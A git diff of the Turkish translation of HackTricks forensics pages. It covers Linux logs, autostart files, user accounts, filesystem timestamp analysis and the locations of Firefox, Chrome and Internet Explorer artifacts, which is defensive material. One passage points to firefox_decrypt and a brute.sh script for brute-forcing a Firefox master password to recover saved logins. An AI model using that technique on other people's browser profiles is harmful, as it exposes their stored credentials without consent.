Linux, kullanıcı oturum açtığında otomatik olarak programları çalıştırmak için çeşitli dosyalar kullanır ve potansiyel olarak kötü amaçlı yazılım barındırabilir:
- **/etc/profile.d/**\*, **/etc/profile** ve **/etc/bash.bashrc**: Herhangi bir kullanıcı oturumu için çalıştırılır.
- **\~/.bashrc**, **\~/.bash\_profile**, **\~/.profile** ve **\~/.config/autostart**: Kullanıcıya özgü dosyalar, kullanıcı oturum açtığında çalıştırılır.
- **/etc/rc.local**: Tüm sistem hizmetleri başladıktan sonra çalışır, çoklu kullanıcı ortamına geçişin sonunu işaretler.
## Günlükleri İnceleme
## Günlükleri İncele
Linux sistemleri, çeşitli günlük dosyaları aracılığıyla kullanıcı etkinliklerini ve sistem olaylarını izler. Bu günlükler, yetkisiz erişimi, kötü amaçlı yazılım bulaşmalarını ve diğer güvenlik olaylarını tanımlamak için hayati öneme sahiptir. Önemli günlük dosyaları şunları içerir:
@ -284,7 +284,7 @@ Linux sistemleri, çeşitli günlük dosyaları aracılığıyla kullanıcı etk
- **/var/log/**: Burada beklenmeyen günlükleri kontrol etmek her zaman önemlidir.
{% hint style="info" %}
Linux sistem günlükleri ve denetim alt sistemleri, bir sızma veya kötü amaçlı yazılım olayında devre dışı bırakılabilir veya silinebilir. Linux sistemlerinde günlükler genellikle kötü amaçlı etkinlikler hakkında en kullanışlı bilgileri içerdiğinden, sızanlar genellikle bunları siler. Bu nedenle, mevcut günlük dosyalarını incelemek önemlidir ve silme veya oynama belirtileri aramak önemlidir.
Linux sistem günlükleri ve denetim alt sistemleri, bir ihlal veya kötü amaçlı yazılım olayında devre dışı bırakılabilir veya silinebilir. Linux sistemlerinde günlükler genellikle kötü amaçlı faaliyetler hakkında en kullanışlı bilgileri içerdiğinden, saldırganlar genellikle bunları siler. Bu nedenle, mevcut günlük dosyalarını inceleyerek, silinme veya oynama belirtisi olabilecek boşlukları veya sırasız girişleri aramak önemlidir.
{% endhint %}
**Linux, her kullanıcı için bir komut geçmişini saklar**, şurada depolanır:
@ -295,19 +295,19 @@ Linux sistem günlükleri ve denetim alt sistemleri, bir sızma veya kötü ama
- \~/.python\_history
- \~/.\*\_history
Ayrıca, `last -Faiwx` komutu bir kullanıcı oturum listesi sağlar. Bilinmeyen veya beklenmeyen oturum açmaları için kontrol edin.
Ayrıca, `last -Faiwx` komutu bir kullanıcı oturumunu listeler. Bilinmeyen veya beklenmeyen oturum açmaları için kontrol edin.
Ek ayrıcalıklar sağlayabilecek dosyaları kontrol edin:
- Verilmemiş kullanıcı ayrıcalıklarını belirlemek için `/etc/sudoers` dosyasını inceleyin.
- Verilmemiş kullanıcı ayrıcalıklarını belirlemek için `/etc/sudoers.d/` dosyasını inceleyin.
- Beklenmeyen kullanıcı ayrıcalıklarını belirlemek için `/etc/sudoers` dosyasını inceleyin.
- Beklenmeyen kullanıcı ayrıcalıklarını belirlemek için `/etc/sudoers.d/` dizinini inceleyin.
- Olağandışı grup üyeliklerini veya izinleri belirlemek için `/etc/groups` dosyasını inceleyin.
- Olağandışı grup üyeliklerini veya izinleri belirlemek için `/etc/passwd` dosyasını inceleyin.
Bazı uygulamalar kendi günlüklerini oluşturur:
- **SSH**: Yetkisiz uzak bağlantılar için _\~/.ssh/authorized\_keys_ ve _\~/.ssh/known\_hosts_ dosyalarını inceleyin.
- **Gnome Masaüstü**: Gnome uygulamaları aracılığıyla son erişilen dosyaları bulmak için _\~/.recently-used.xbel_ dosyasına bakın.
- **Gnome Masaüstü**: Gnome uygulamaları aracılığıyla son erişilen dosyalar için _\~/.recently-used.xbel_ dosyasına bakın.
- **Firefox/Chrome**: Şüpheli etkinlikler için _\~/.mozilla/firefox_ veya _\~/.config/google-chrome_ dizinlerinde tarayıcı geçmişini ve indirmeleri kontrol edin.
- **VIM**: Erişilen dosya yolları ve arama geçmişi gibi kullanım detayları için _\~/.viminfo_ dosyasını inceleyin.
- **Open Office**: Kompromize uğramış dosyaları gösterebilecek son belge erişimlerini kontrol edin.
@ -318,11 +318,9 @@ Bazı uygulamalar kendi günlüklerini oluşturur:
### USB Günlükleri
[**usbrip**](https://github.com/snovvcrash/usbrip), USB olay geçmiş tablolarını oluşturmak için Linux günlük dosyalarını (`/var/log/syslog*` veya dağıtıma bağlı olarak `/var/log/messages*`) ayrıştıran saf Python 3 dilinde yazılmış küçük bir yazılımdır.
[**usbrip**](https://github.com/snovvcrash/usbrip), USB olay geçmişi tabloları oluşturmak için Linux günlük dosyalarını (`/var/log/syslog*` veya dağıtıma bağlı olarak `/var/log/messages*`) ayrıştıran saf Python 3 dilinde yazılmış küçük bir yazılımdır.
**Kullanılan tüm USB'leri bilmek ilginç olacaktır** ve "ihlal olaylarını" bulmak için yetkilendirilmiş bir USB listesine sahipseniz daha da faydalı olacaktır (bu listede olmayan USB'lerin kullanımı).
### Kurulum
**Kullanılan tüm USB'leri bilmek** ilginç olacaktır ve "ihlal olaylarını" bulmak için yetkilendirilmiş USB'lerin bir listesine sahipseniz daha da faydalı olacaktır.
```bash
pip3 install usbrip
usbrip ids download #Download USB ID database
@ -340,33 +338,33 @@ Daha fazla örnek ve bilgi için github içine bakın: [https://github.com/snovv
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **otomatikleştirilmiş iş akışları** oluşturun ve yönetin.\
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **otomatikleştirilmiş iş akışları** oluşturun ve yönetin.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %}
## Kullanıcı Hesaplarını ve Oturum Etkinliklerini İnceleme
Bilinen yetkisiz olaylara yakın zamanda oluşturulan veya kullanılan sıradışı isimleri veya hesapları aramak için _**/etc/passwd**_, _**/etc/shadow**_ ve **güvenlik günlüklerini** inceleyin. Ayrıca, olası sudo kaba kuvvet saldırılarını kontrol edin.\
Ayrıca, kullanıcılara verilen beklenmeyen ayrıcalıkları aramak için _**/etc/sudoers**_ ve _**/etc/groups**_ gibi dosyaları kontrol edin.\
Bilinen yetkisiz olaylara yakın zamanda oluşturulan veya kullanılan sıradışı isimleri veya hesapları incelemek için _**/etc/passwd**_, _**/etc/shadow**_ ve **güvenlik günlüklerini** kontrol edin. Ayrıca, olası sudo kaba kuvvet saldırılarını kontrol edin.\
Ayrıca, kullanıcılara verilen beklenmeyen ayrıcalıkları kontrol etmek için _**/etc/sudoers**_ ve _**/etc/groups**_ gibi dosyaları kontrol edin.\
Son olarak, **şifresiz hesapları** veya **kolayca tahmin edilebilen** şifreleri olan hesapları arayın.
## Dosya Sistemi İnceleme
### Kötü Amaçlı Yazılım İncelemesinde Dosya Sistemi Yapılarını Analiz Etme
Kötü amaçlı yazılım olaylarını araştırırken, dosya sistemi yapısı bilgi kaynağıdır ve olayların sıralamasını ve kötü amaçlı yazılımın içeriğini ortaya çıkarır. Bununla birlikte, kötü amaçlı yazılım yazarları, dosya zaman damgalarını değiştirme veya veri depolama için dosya sisteminden kaçınma gibi analizi engellemek için teknikler geliştirmektedir.
Kötü amaçlı yazılım olaylarını araştırırken, dosya sistemi yapısı bilgi kaynağı olarak hayati öneme sahiptir, olayların sırasını ve kötü amaçlı yazılımın içeriğini ortaya çıkarır. Bununla birlikte, kötü amaçlı yazılım yazarları, dosya zaman damgalarını değiştirme veya veri depolamak için dosya sisteminden kaçınma gibi analizi engellemek için teknikler geliştirmektedir.
Bu anti-forensik yöntemlere karşı koymak için şunlar önemlidir:
* **Olay zaman çizelgesi analizi** yapmak için **Autopsy** gibi araçları kullanarak olay zaman çizelgelerini görselleştirmek veya ayrıntılı zaman çizelgesi verileri için **Sleuth Kit's** `mactime`'ı kullanmak.
* Saldırganlar tarafından kullanılan kabuk veya PHP betiklerini içerebilecek **sistem $PATH'indeki beklenmedik betikleri incelemek**.
* **/dev içindeki** atipik dosyaları incelemek, genellikle özel dosyalar içerir, ancak kötü amaçlı yazılımla ilişkili dosyaları içerebilir.
* ".. " (nokta nokta boşluk) veya "..^G" (nokta nokta kontrol-G) gibi adlara sahip **gizli dosyaları veya dizinleri aramak**, kötü amaçlı içeriği gizleyebilir.
* `find / -user root -perm -04000 -print` komutunu kullanarak **setuid root dosyalarını tanımlamak**. Bu, saldırganlar tarafından kötüye kullanılabilecek yüksek izinlere sahip dosyaları bulur.
* İşaret tablolarındaki **silme zaman damgalarını inceleyerek** kök kiti veya truva atları varlığını gösterebilecek toplu dosya silmelerini tespit etmek.
* Bir tane tanımladıktan sonra **yakındaki kötü amaçlı dosyaları belirlemek için ardışık inode'ları incelemek**, birlikte yerleştirilmiş olabilirler.
* **Son zamanlarda değiştirilmiş dosyaları aramak için ortak ikili dizinleri** (_/bin_, _/sbin_) kontrol etmek, bu dosyalar kötü amaçlı yazılım tarafından değiştirilmiş olabilir.
* **Olay zaman çizelgesi analizi** yapmak için **Autopsy** gibi araçları kullanarak olay zaman çizelgelerini görselleştirmek veya ayrıntılı zaman çizelgesi verileri için **Sleuth Kit's** `mactime` kullanmak.
* Saldırganlar tarafından kullanılan kabuk veya PHP betiklerini içerebilecek **sistem $PATH'indeki beklenmedik betikleri inceleyin**.
* **/dev** içindeki tipik olmayan dosyaları inceleyin**, genellikle özel dosyalar içerir, ancak kötü amaçlı yazılımla ilişkili dosyaları barındırabilir.
* ".. " (nokta nokta boşluk) veya "..^G" (nokta nokta kontrol-G) gibi adlara sahip **gizli dosyaları veya dizinleri arayın**, kötü amaçlı içeriği gizleyebilirler.
* `find / -user root -perm -04000 -print` komutunu kullanarak **setuid root dosyalarını tanımlayın**. Bu, saldırganlar tarafından kötüye kullanılabilecek yükseltilmiş izinlere sahip dosyaları bulur.
* İşlem tablolarındaki **silme zaman damgalarını inceleyin**, kök kiti veya truva atları varlığını gösterebilecek toplu dosya silmelerini belirlemek için.
* Bir tane tanımladıktan sonra **yakındaki kötü amaçlı dosyaları belirlemek için ardışık inode'leri inceleyin**.
* **Son zamanlarda değiştirilmiş dosyaları kontrol etmek için yaygın ikili dizinleri** (_/bin_, _/sbin_) inceleyin, çünkü bunlar kötü amaçlı yazılım tarafından değiştirilmiş olabilir.
````bash
# List recent files in a directory:
ls -laR --sort=time /bin```
@ -375,10 +373,10 @@ ls -laR --sort=time /bin```
ls -lai /bin | sort -n```
````
{% hint style="info" %}
**Saldırganın** dosyaları **görünüşte meşru** hale getirmek için **zamanı değiştirebileceğini**, ancak **inode**'u değiştiremeyeceğini unutmayın. Eğer bir **dosyanın** aynı klasördeki diğer dosyalarla aynı **zamanda oluşturulduğunu ve değiştirildiğini** gösterdiğini, ancak **inode**'un **beklenmedik şekilde daha büyük** olduğunu fark ederseniz, o dosyanın **zaman damgalarının değiştirildiğini** belirlemiş olursunuz.
**Saldırganın** **dosyaları** **görünüşte meşru** hale getirmek için **zamanı değiştirebileceğini**, ancak **inode**'u değiştiremeyeceğini unutmayın. Eğer bir **dosyanın**, aynı klasördeki diğer dosyalarla aynı zamanda oluşturulduğunu ve değiştirildiğini gösterdiğini fakat **inode**'un **beklenmedik şekilde daha büyük** olduğunu fark ederseniz, o dosyanın **zaman damgalarının değiştirildiğini** anlarsınız.
{% endhint %}
## Farklı dosya sistem sürümlerinin dosyalarını karşılaştırın
## Farklı dosya sistem sürümlerini karşılaştırın
### Dosya Sürümü Karşılaştırma Özeti
@ -412,26 +410,26 @@ git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/
* [https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems\_Ch3.pdf](https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems\_Ch3.pdf)
* [https://www.plesk.com/blog/featured/linux-logs-explained/](https://www.plesk.com/blog/featured/linux-logs-explained/)
* [https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203](https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203)
* **Kitap: Malware Forensics Field Guide for Linux Systems: Digital Forensics Field Guides**
* **Kitap: Malware Forensics Field Guide for Linux Systems: Dijital Adli Bilişim Alan Kılavuzları**
<details>
<summary><strong>Sıfırdan kahraman olmaya kadar AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
**Bir **cybersecurity şirketinde mi çalışıyorsunuz? **Şirketinizi HackTricks'te** görmek ister misiniz? ya da **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
**Bir ** **cybersecurity şirketinde mi çalışıyorsunuz? Şirketinizi ** **HackTricks'te ** **tanıtmak ister misiniz? veya ** **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz? [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* [**Resmi PEASS & HackTricks swag**](https://peass.creator-spring.com) edinin
* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya beni **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** takip edin.
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family)
* [**Resmi PEASS & HackTricks ürünlerine göz atın**](https://peass.creator-spring.com)
* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) **Discord grubuna**](https://discord.gg/hRep4RUj7f) veya **telegram grubuna** veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**'u takip edin.**
**Hacking püf noktalarınızı göndererek HackTricks** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **üzerinden PR'lar gönderin.**
**Hacking püf noktalarınızı göndererek HackTricks** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **aracılığıyla paylaşın.**
</details>
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş** topluluk araçlarıyla desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %}

View file

@ -8,23 +8,23 @@ HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na(https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünleri**](https://peass.creator-spring.com)'ni edinin
* [**PEASS Ailesi**]'ni(https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**]'i(https://opensea.io/collection/the-peass-family) içeren koleksiyonumuz
* **Katılın** 💬 [**Discord grubumuza**](https://discord.gg/hRep4RUj7f) veya [**telegram grubumuza**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)'da takip edin.
* **Hacking püf noktalarınızı göndererek HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR'lar gönderin.
* [**PEASS Ailesi**]'ni(https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'ler**]'imiz(https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
<figure><img src="../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**]'i(https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş** topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
[**Trickest**]'i(https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=browser-artifacts) kullanarak dünyanın **en gelişmiş** topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=browser-artifacts" %}
## Tarayıcı Kalıntıları <a href="#id-3def" id="id-3def"></a>
Tarayıcı kalıntıları, web tarayıcıları tarafından depolanan çeşitli veri türlerini içerir; gezinme geçmişi, yer imleri ve önbellek verileri gibi. Bu kalıntılar işletim sistemi içinde belirli klasörlerde tutulur, tarayıcılara göre konum ve ad farklılık gösterse de genellikle benzer veri türlerini depolarlar.
Tarayıcı kalıntıları, web tarayıcıları tarafından depolanan çeşitli veri türlerini içerir; gezinme geçmişi, yer imleri ve önbellek verileri gibi. Bu kalıntılar, işletim sistemi içinde belirli klasörlerde saklanır, tarayıcılara göre konum ve ad farklılıkları gösterse de genellikle benzer veri türlerini depolar.
İşte en yaygın tarayıcı kalıntılarının özeti:
@ -32,24 +32,24 @@ Tarayıcı kalıntıları, web tarayıcıları tarafından depolanan çeşitli v
* **Otomatik Tamamlama Verileri**: Sık aramalara dayalı öneriler, gezinme geçmişi ile birleştirildiğinde içgörüler sunar.
* **Yer İmleri**: Kullanıcı tarafından hızlı erişim için kaydedilen siteler.
* **Eklentiler ve Eklemeler**: Kullanıcı tarafından yüklenen tarayıcı eklentileri veya eklemeler.
* **Önbellek**: Web içeriğini (örneğin, resimler, JavaScript dosyaları) saklayarak web sitesi yükleme sürelerini iyileştirir, adli analiz için değerlidir.
* **Önbellek**: Web içeriğini (örneğin, resimler, JavaScript dosyaları) saklar, web sitesi yükleme sürelerini iyileştirmek için değerli bir araştırma analizi aracıdır.
* **Girişler**: Saklanan giriş kimlik bilgileri.
* **Favikonlar**: Sitelerle ilişkilendirilen simgeler, sekmelerde ve yer imlerinde görünür, kullanıcı ziyaretleri hakkında ek bilgi için faydalıdır.
* **Favikonlar**: Sitelerle ilişkilendirilen simgeler, sekmelerde ve yer imlerinde görünür, kullanıcı ziyaretleri hakkında ek bilgiler için faydalıdır.
* **Tarayıcı Oturumları**: Açık tarayıcı oturumlarıyla ilgili veriler.
* **İndirmeler**: Tarayıcı aracılığıyla indirilen dosyaların kayıtları.
* **Form Verileri**: Web formlarına girilen bilgiler, gelecekteki otomatik doldurma önerileri için kaydedilir.
* **Küçük Resimler**: Web sitelerinin önizleme görüntüleri.
* **Özel Dictionary.txt**: Kullanıcının tarayıcının sözlüğüne eklediği kelimeler.
* **Özel Sözlük.txt**: Kullanıcının tarayıcının sözlüğüne eklediği kelimeler.
## Firefox
Firefox, kullanıcı verilerini profiller içinde düzenler ve işletim sistemine bağlı olarak belirli konumlarda saklar:
Firefox, kullanıcı verilerini işletim sistemine bağlı olarak belirli konumlarda depolanan profiller içinde düzenler:
* **Linux**: `~/.mozilla/firefox/`
* **MacOS**: `/Users/$USER/Library/Application Support/Firefox/Profiles/`
* **Windows**: `%userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\`
Bu dizinlerdeki `profiles.ini` dosyası kullanıcı profillerini listeler. Her profilin verileri, `profiles.ini` indeki `Path` değişkeninde adlandırılan bir klasörde saklanır, `profiles.ini` dosyasının kendisiyle aynı dizinde bulunur. Bir profil klasörü eksikse, silinmiş olabilir.
Bu dizinlerdeki `profiles.ini` dosyası kullanıcı profillerini listeler. Her profilin verileri, `profiles.ini` dosyasının bulunduğu dizindeki `Path` değişkeninde adlandırılan bir klasörde saklanır. Bir profil klasörü eksikse, silinmiş olabilir.
Her profil klasöründe, birkaç önemli dosya bulabilirsiniz:
@ -59,20 +59,20 @@ Her profil klasöründe, birkaç önemli dosya bulabilirsiniz:
* **formhistory.sqlite**: Web form verilerini saklar.
* **handlers.json**: Protokol işleyicilerini yönetir.
* **persdict.dat**: Özel sözlük kelimeleri.
* **addons.json** ve **extensions.sqlite**: Yüklenen eklenti ve uzantı bilgileri.
* **addons.json** ve **extensions.sqlite**: Yüklenen eklentiler ve uzantılar hakkındaki bilgiler.
* **cookies.sqlite**: Çerez depolama, Windows'ta inceleme için [MZCookiesView](https://www.nirsoft.net/utils/mzcv.html) kullanılabilir.
* **cache2/entries** veya **startupCache**: Önbellek verileri, [MozillaCacheView](https://www.nirsoft.net/utils/mozilla\_cache\_viewer.html) gibi araçlar aracılığıyla erişilebilir.
* **favicons.sqlite**: Favikonları saklar.
* **prefs.js**: Kullanıcı ayarları ve tercihleri.
* **downloads.sqlite**: Eski indirme veritabanı, şimdi places.sqlite'e entegre edilmiştir.
* **downloads.sqlite**: Eski indirme veritabanı, şimdi places.sqlite'a entegre edilmiştir.
* **thumbnails**: Web sitesi küçük resimleri.
* **logins.json**: Şifreli giriş bilgileri.
* **logins.json**: Şifrelenmiş giriş bilgileri.
* **key4.db** veya **key3.db**: Hassas bilgileri güvence altına alan şifreleme anahtarlarını saklar.
Ayrıca, tarayıcının anti-phishing ayarlarını kontrol etmek için `prefs.js` içinde `browser.safebrowsing` girişlerini arayarak güvenli gezinme özelliklerinin etkin veya devre dışı bırakıldığını belirleyebilirsiniz.
Ayrıca, tarayıcının anti-phishing ayarlarını kontrol etmek için `prefs.js` dosyasında `browser.safebrowsing` girişlerini arayarak güvenli gezinme özelliklerinin etkin veya devre dışı bırakıldığını belirleyebilirsiniz.
Ana şifreyi çözmek için [https://github.com/unode/firefox\_decrypt](https://github.com/unode/firefox\_decrypt) adresinden yararlanabilirsiniz\
Aşağıdaki betik ve çağrı ile kaba kuvvet uygulamak için bir şifre dosyası belirleyebilirsiniz:
Ana şifreyi çözmek için [https://github.com/unode/firefox\_decrypt](https://github.com/unode/firefox\_decrypt) adresini kullanabilirsiniz\
Aşağıdaki betik ve çağrı ile bir şifre dosyası belirterek kaba kuvvet uygulayabilirsiniz:
{% code title="brute.sh" %}
```bash
@ -93,25 +93,25 @@ done < $passfile
Google Chrome, kullanıcı profillerini işletim sistemine bağlı olarak belirli konumlarda saklar:
- **Linux**: `~/.config/google-chrome/`
- **Windows**: `C:\Users\XXX\AppData\Local\Google\Chrome\User Data\`
- **MacOS**: `/Users/$USER/Library/Application Support/Google/Chrome/`
* **Linux**: `~/.config/google-chrome/`
* **Windows**: `C:\Users\XXX\AppData\Local\Google\Chrome\User Data\`
* **MacOS**: `/Users/$USER/Library/Application Support/Google/Chrome/`
Bu dizinlerde, çoğu kullanıcı verisi **Default/** veya **ChromeDefaultData/** klasörlerinde bulunabilir. Aşağıdaki dosyalar önemli verileri içerir:
- **History**: URL'leri, indirmeleri ve arama anahtar kelimelerini içerir. Windows'ta [ChromeHistoryView](https://www.nirsoft.net/utils/chrome\_history\_view.html) geçmişi okumak için kullanılabilir. "Transition Type" sütunu, kullanıcı tıklamalarını, yazılan URL'leri, form gönderimlerini ve sayfa yenilemelerini içerir.
- **Cookies**: Çerezleri saklar. İncelemek için [ChromeCookiesView](https://www.nirsoft.net/utils/chrome\_cookies\_view.html) kullanılabilir.
- **Cache**: Önbelleğe alınmış verileri saklar. İncelemek için Windows kullanıcıları [ChromeCacheView](https://www.nirsoft.net/utils/chrome\_cache\_view.html) kullanabilir.
- **Bookmarks**: Kullanıcı yer imleri.
- **Web Data**: Form geçmişini içerir.
- **Favicons**: Web sitesi faviconlarını saklar.
- **Login Data**: Kullanıcı adları ve şifreler gibi giriş kimlik bilgilerini içerir.
- **Current Session**/**Current Tabs**: Geçerli gezinme oturumu ve açık sekmeler hakkında veriler.
- **Last Session**/**Last Tabs**: Chrome kapatılmadan önceki son oturumda aktif olan siteler hakkında bilgi.
- **Extensions**: Tarayıcı uzantıları ve eklentileri için dizinler.
- **Thumbnails**: Web sitesi küçük resimlerini saklar.
- **Preferences**: Eklentiler, uzantılar, açılır pencereler, bildirimler ve daha fazlası için ayarları içeren zengin bir dosya.
- **Tarayıcının yerleşik anti-phishing'i**: Anti-phishing ve kötü amaçlı yazılım korumasının etkin olup olmadığını kontrol etmek için `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences` komutunu çalıştırın. Çıktıda `{"enabled: true,"}` arayın.
* **History**: URL'leri, indirmeleri ve arama anahtar kelimelerini içerir. Windows'ta, geçmişi okumak için [ChromeHistoryView](https://www.nirsoft.net/utils/chrome\_history\_view.html) kullanılabilir. "Transition Type" sütunu, kullanıcı tıklamalarını, yazılan URL'leri, form gönderimlerini ve sayfa yenilemelerini içerir.
* **Cookies**: Çerezleri saklar. İncelemek için [ChromeCookiesView](https://www.nirsoft.net/utils/chrome\_cookies\_view.html) kullanılabilir.
* **Cache**: Önbelleğe alınmış verileri saklar. İncelemek için Windows kullanıcıları [ChromeCacheView](https://www.nirsoft.net/utils/chrome\_cache\_view.html) kullanabilir.
* **Bookmarks**: Kullanıcı yer imleri.
* **Web Data**: Form geçmişini içerir.
* **Favicons**: Web sitesi faviconlarını saklar.
* **Login Data**: Kullanıcı adları ve şifreler gibi giriş kimlik bilgilerini içerir.
* **Current Session**/**Current Tabs**: Geçerli tarama oturumu ve açık sekmeler hakkında veriler.
* **Last Session**/**Last Tabs**: Chrome kapatılmadan önceki son oturumda aktif olan siteler hakkında bilgi.
* **Extensions**: Tarayıcı uzantıları ve eklentileri için dizinler.
* **Thumbnails**: Web sitesi minik resimlerini saklar.
* **Preferences**: Eklentiler, uzantılar, açılır pencereler, bildirimler ve daha fazlası için ayarları içeren zengin bir dosya.
* **Tarayıcının yerleşik anti-phishing'i**: Anti-phishing ve kötü amaçlı yazılım korumasının etkin olup olmadığını kontrol etmek için `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences` komutunu çalıştırın. Çıktıda `{"enabled: true,"}` arayın.
## **SQLite DB Veri Kurtarma**
@ -123,23 +123,23 @@ Internet Explorer 11, depolanan bilgileri ve meta verileri ayrı ayrı erişim v
### Meta Veri Depolama
Internet Explorer için meta veriler `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` (VX V01, V16 veya V24 olabilir) içinde saklanır. Buna ek olarak, `V01.log` dosyası, `WebcacheVX.data` ile değişiklik zamanı uyumsuzluklarını gösterebilir, bu durumda `esentutl /r V01 /d` ile onarım yapılması gerekebilir. Bu ESE veritabanında bulunan meta veriler, photorec ve [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html) gibi araçlar kullanılarak kurtarılabilir ve incelenebilir. **Containers** tablosu içinde, her veri segmentinin saklandığı belirli tabloları veya konteynerleri ayırt edebilirsiniz, bu içerir diğer Microsoft araçları için önbellek ayrıntılarını Skype gibi.
Internet Explorer için meta veriler `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` (VX V01, V16 veya V24 olabilir) içinde saklanır. Buna ek olarak, `V01.log` dosyası, `WebcacheVX.data` ile değişiklik zamanı uyumsuzluklarını gösterebilir, bu durumda `esentutl /r V01 /d` komutu ile onarım yapılması gerekebilir. Bu ESE veritabanında bulunan meta veriler, photorec ve [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html) gibi araçlar kullanılarak kurtarılabilir ve incelenebilir. **Containers** tablosu içinde, her veri segmentinin saklandığı belirli tabloları veya konteynerleri ayırt edebilir ve Skype gibi diğer Microsoft araçları için önbellek detaylarını görebilirsiniz.
### Önbellek İnceleme
[IECacheView](https://www.nirsoft.net/utils/ie\_cache\_viewer.html) aracı, önbellek incelemesi yapmak için önbellek veri çıkarma klasörü konumunu gerektirir. Önbellek için meta veriler dosya adını, dizini, erişim sayısını, URL kökenini ve önbellek oluşturma, erişim, değiştirme ve sona erme zamanlarını gösteren zaman damgalarını içerir.
[IECacheView](https://www.nirsoft.net/utils/ie\_cache\_viewer.html) aracı, önbellek incelemesi yapmak için önbellek veri çıkarma klasörü konumunu gerektirir. Önbellek için meta veriler dosya adını, dizini, erişim sayısını, URL kaynağını ve önbellek oluşturma, erişim, değiştirme ve sona erme zamanlarını gösteren zaman damgalarını içerir.
